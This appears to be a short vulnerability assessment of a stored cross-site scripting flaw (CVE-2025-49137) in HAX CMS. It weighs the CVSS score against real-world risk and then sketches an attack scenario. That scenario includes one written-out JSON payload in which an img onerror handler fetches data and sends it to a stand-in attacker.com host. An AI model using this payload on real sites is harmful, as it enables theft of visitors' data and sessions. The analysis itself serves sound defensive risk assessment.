PHP CVE-2025-49137

CVSS 8.5 (High) reflects the vulnerability's exploitability: Network-accessible (AV:N), Low attack complexity (AC:L), requires Low privileges (PR:L - authenticated user), and has Changed scope (S:C) with High confidentiality impact (C:H) but only Low integrity impact (I:L). However, real-world risk must be contextualized: (1) Attack Vector: Requires valid authentication and user account on the HAX CMS instance, significantly reducing opportunistic exploitation. (2) Exploitation Probability: No public POC or KEV listing mentioned suggests limited active exploitation, though the vulnerability is relatively straightforward to exploit for authenticated users with knowledge of the endpoints. (3) Impact Scope: Stored XSS affects rendered HAX sites and their end-users, not the CMS admin panel itself - impact is on website visitors, not administrators. (4) Practical Constraints: Requires user interaction (visiting the generated site) for payload execution; cannot directly exfiltrate data from the CMS backend. Risk Priority: Medium-to-High for organizations hosting HAX CMS with public microsite generation; lower priority for internal-only deployments. The CVSS score reasonably reflects risk given authenticated access + cross-site impact, but automated exploitation is unlikely without valid credentials.

An authenticated user with permissions to create or edit microsites on a HAX CMS instance (e.g., a marketing team member or content editor) crafts a malicious payload and submits it via the 'saveNode' endpoint, such as: {"content": "<img src=x onerror='fetch(\"/api/steal-data\").then(r=>r.json()).then(d=>{new Image().src=\"https://attacker.com/log?data=\"+btoa(JSON.stringify(d))})'>"}. This payload is stored in the site's JSON schema. When the generated HAX microsite is published and accessed by end-users (e.g., customers viewing the site), the malicious img tag renders, the onerror event fires, and the JavaScript executes in the user's browser with access to the website's DOM, cookies, and session tokens. The attacker can harvest user data, perform actions on behalf of users, deface the site, or inject additional malware. No public POC mentioned, but exploitation is straightforward for an authenticated attacker familiar with HTML/JavaScript; tools like Burp Suite can be used to intercept and modify requests to 'saveNode'/'saveManifest'. The low attack complexity (AC:L) and requirement for only user interaction (not admin or special browser configuration) make this a viable attack chain for insider threats or compromised user accounts.